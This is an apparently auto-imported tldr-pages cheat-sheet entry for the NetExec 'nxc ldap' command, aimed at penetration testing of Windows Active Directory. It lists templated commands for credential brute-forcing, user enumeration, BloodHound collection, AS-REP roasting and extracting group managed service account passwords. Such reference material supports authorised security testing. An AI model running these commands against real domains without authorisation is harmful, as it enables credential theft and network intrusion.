HiveBrain v1.2.0
Get Started
← Back to all entries
snippetbashTip

nxc ldap — Pentest and exploit Windows Active Directory Domains via LDAP. More information: <https://www.netexe

Submitted by: @import:tldr-pages··
0
Viewed 0 times
commandnxc ldapwindowsandexploitcliactivepentest

Problem

How to use the nxc ldap command: Pentest and exploit Windows Active Directory Domains via LDAP. More information: <https://www.netexec.wiki/ldap-protocol/authentication>.

Solution

nxc ldap — Pentest and exploit Windows Active Directory Domains via LDAP. More information: <https://www.netexec.wiki/ldap-protocol/authentication>.

Search for valid domain credentials by trying out every combination in the specified lists of usernames and passwords:
nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{path/to/usernames.txt}} {{[-p|--password]}} {{path/to/passwords.txt}}


Enumerate active domain users:
nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --active-users


Collect data about the targeted domain and automatically import these data into BloodHound:
nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --bloodhound {{[-c|--collection]}} {{All}}


Attempt to collect AS_REP messages for the specified user in order to perform an ASREPRoasting attack:
nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} '' --asreproast {{path/to/output.txt}}


Attempt to extract the passwords of group managed service accounts on the domain:
nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --gmsa

Code Snippets

Search for valid domain credentials by trying out every combination in the specified lists of usernames and passwords

nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{path/to/usernames.txt}} {{[-p|--password]}} {{path/to/passwords.txt}}

Enumerate active domain users

nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --active-users

Collect data about the targeted domain and automatically import these data into BloodHound

nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --bloodhound {{[-c|--collection]}} {{All}}

Attempt to collect AS_REP messages for the specified user in order to perform an ASREPRoasting attack

nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} '' --asreproast {{path/to/output.txt}}

Attempt to extract the passwords of group managed service accounts on the domain

nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --gmsa

Context

tldr-pages: common/nxc ldap

Revisions (0)

No revisions yet.